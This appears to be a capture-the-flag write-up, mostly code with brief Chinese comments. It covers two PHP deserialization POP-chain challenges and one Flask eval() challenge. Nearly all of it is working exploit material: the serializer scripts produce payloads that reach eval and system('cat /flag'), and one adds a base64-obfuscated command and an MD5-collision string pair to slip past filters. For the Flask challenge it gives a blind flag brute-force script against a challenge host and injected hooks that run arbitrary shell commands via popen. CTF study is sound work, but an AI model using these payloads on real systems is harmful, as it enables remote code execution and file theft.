1
<?php
2
highlight_file(__FILE__);
3
error_reporting(0);
4
class Wuhuarou{
5
    public $Wuhuarou;
6
    function __wakeup(){
7
        echo "Nice Wuhuarou!</br>";
8
        echo $this -> Wuhuarou;
9
    }
10
}
11
class Fentiao{
12
    public $Fentiao;
13
    public $Hongshufentiao;
14
    public function __toString(){
15
        echo "Nice Fentiao!</br>";
16
        return $this -> Fentiao -> Hongshufentiao;
17
    }
18
}
19
class Baicai{
20
    public $Baicai;
21
    public function __get($key){
22
        echo "Nice Baicai!</br>";
23
        $Baicai = $this -> Baicai;
24
        return $Baicai();
25
    }
26
}
27
class Wanzi{
28
    public $Wanzi;
29
    public function __invoke(){
30
        echo "Nice Wanzi!</br>";
31
        return $this -> Wanzi -> Xianggu();
32
    }
33
}
34
class Xianggu{
35
    public $Xianggu;
36
    public $Jinzhengu;
37
    public function __construct($Jinzhengu){
38
        $this -> Jinzhengu = $Jinzhengu;
39
    }
40
    public function __call($name, $arg){
41
        echo "Nice Xianggu!</br>";
42
        $this -> Xianggu -> Bailuobo = $this -> Jinzhengu;
43
    }
44
}
45
class Huluobo{
46
    public $HuLuoBo;
47
    public function __set($key,$arg){
48
        echo "Nice Huluobo!</br>";
49
        eval($arg);
50
    }
51
}
52

53
if (isset($_POST['eat'])){
54
    unserialize($_POST['eat']);
55
}

1
<?php
2
class Wuhuarou{
3
    public $Wuhuarou;
4
}
5
class Fentiao{
6
    public $Fentiao;
7
    public $Hongshufentiao;
8
}
9
class Baicai{
10
    public $Baicai;
11
}
12
class Wanzi{
13
    public $Wanzi;
14
}
15
class Xianggu{
16
    public $Xianggu;
17
    public $Jinzhengu;
18
}
19
class Huluobo{
20
    public $HuLuoBo;
21
}
22

23
$a = new Huluobo();
24

25
$b = new Xianggu();
26
$b -> Jinzhengu = "system('cat /flag');";
27
$b -> Xianggu = $a;
28

29
$c = new Wanzi();
30
$c -> Wanzi = $b;
31

32
$d =  new Baicai();
33
$d -> Baicai = $c;
34

35
$e = new Fentiao();
36
$e -> Fentiao = $d;
37

38
$f = new Wuhuarou();
39
$f -> Wuhuarou = $e;
40

41
echo urlencode(serialize($f));
42

43
?>

1
$this -> Xianggu -> Bailuobo = $this -> Jinzhengu;

1
class Wanzi{
2
  public $Wanzi;
3
  public function __invoke(){
4
    echo "Nice Wanzi!</br>";
5
    return $this -> Wanzi -> Xianggu();
6
  }
7
}

1
class Baicai{
2
    public $Baicai;
3
    public function __get($key){
4
        echo "Nice Baicai!</br>";
5
        $Baicai = $this -> Baicai;
6
        return $Baicai();
7
    }
8
}

1
class Fentiao{
2
    public $Fentiao;
3
    public $Hongshufentiao;
4
    public function __toString(){
5
        echo "Nice Fentiao!</br>";
6
        return $this -> Fentiao -> Hongshufentiao;
7
    }
8
}

1
class Wuhuarou{
2
    public $Wuhuarou;
3
    function __wakeup(){
4
        echo "Nice Wuhuarou!</br>";
5
        echo $this -> Wuhuarou;
6
    }
7
}

1
from flask import Flask, request, render_template
2

3
app = Flask(__name__)
4

5
@app.route('/', methods=['GET', 'POST'])
6
def index():
7
    return render_template('index.html')
8

9
@app.route('/doit', methods=['GET', 'POST'])
10
def doit():
11
    e = request.form.get('e')
12

13
    try:
14
        eval(e)
15
        return "done!"
16
    except Exception as e:
17
        return "error!"
18

19
@app.route('/src', methods=['GET', 'POST'])
20
def src():
21
    return open(__file__, encoding="utf-8").read()
22

23
if __name__ == '__main__':
24
    app.run(host='0.0.0.0', port=5000)

1
import requests
2

3
url = "http://challenge.ilovectf.cn:30009/doit"
4
flag='flag{'
5
ch = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-@&?!"
6
for i in range(5,50):
7
    for c in ch:
8
        payload = f"print(1) if open('/flag').read()[{i}]=='{c}' else 1/0"
9
        resp = requests.post(url,data={'e':payload})
10
        if 'done!' in resp.text:
11
            flag+=c
12
            print("flag:",flag)
13
            break
14
    else:
15
        break
16

17
print("RESULT:",flag,"}")

1
e=app.view_functions.__setitem__('index', lambda:open('/flag').read())
2
'''
3
eval("app.view_functions.__setitem__('index', lambda:open('/flag').read())")相当于
4
exec("app.view_functions['index']=lambda:open('/flag').read()")
5
其中app也可以替换为:
6
__import__('sys').modules['__main__'].__dict__['app']，也就是获取app对象
7
'''

1
@app.route('/')
2
def index():   //若这里的index是abc，那么payload中的index就是abc，二者需保持一致
3
    return "hello world"

1
e=app.before_request_funcs.setdefault(None,[]).append(lambda:__import__('os').popen(request.args.get('cmd')).read())
2
#post之后传参cmd=cat /flag即可获取flag
3
#这里app也可以用__import__('sys').modules['__main__'].__dict__['app']替换

1
<?php
2
highlight_file('index.php');
3

4
Class Start
5
{
6
    public $ishero;
7
    public $adventure;
8

9

10
    public function __wakeup(){
11

12
        if (strpos($this->ishero, "hero") !== false && $this->ishero !== "hero") {
13
            echo "<br>勇者啊，去寻找利刃吧<br>";
14

15
            return $this->adventure->sword;
16
        }
17
        else{
18
            echo "前方的区域以后再来探索吧！<br>";
19
        }
20
    }
21
}
22

23
class Sword
24
{
25
    public $test1;
26
    public $test2;
27
    public $go;
28

29
    public function __get($name)
30
    {
31
        if ($this->test1 !== $this->test2 && md5($this->test1) == md5($this->test2)) {
32
            echo "沉睡的利刃被你唤醒了，是时候去讨伐魔王了！<br>";
33
            echo $this->go;
34
        } else {
35
            echo "Dead";
36
        }
37
    }
38
}
39

40
class Mon3tr
41
{
42
    private $result;
43
    public $end;
44

45
    public function __toString()
46
    {
47
        $result = new Treasure();
48
        echo "到此为止了！魔王<br>";
49

50
        if (!preg_match("/^cat|flag|tac|system|ls|head|tail|more|less|nl|sort|find?/i", $this->end)) {
51
            $result->end($this->end);
52
        } else {
53
            echo "难道……要输了吗？<br>";
54
        }
55
        return "<br>";
56
    }
57
}
58

59
class Treasure
60
{
61
    public function __call($name, $arg)
62
    {
63
        echo "结束了？<br>";
64
        eval($arg[0]);
65
    }
66
}
67

68
if (isset($_POST["HERO"])) {
69
    unserialize($_POST["HERO"]);
70
}

1
<?php
2

3
class Start
4
{
5
    public $ishero;
6
    public $adventure;
7
}
8

9
class Sword
10
{
11
    public $test1;
12
    public $test2;
13
    public $go;
14
}
15

16
class Mon3tr
17
{
18
    public $end;
19
}
20

21
$b = new Mon3tr();
22
$cmd = "system('cat /flag');";
23
$b64_cmd = base64_encode($cmd);
24
$b -> end = "eval(base64_decode(\"$b64_cmd\"));";
25

26
/*或者这种写法
27
$b = new Mon3tr();
28
$b -> end = "passthru('grep fla /f*');";
29
*/
30

31
$c = new Sword();
32
$c -> test1 = "TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak";
33
$c -> test2 = "TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak";
34
$c -> go = $b;
35

36
$d = new Start();
37
$d -> ishero = "hero123";
38
$d -> adventure = $c;
39

40
echo urlencode(serialize($d));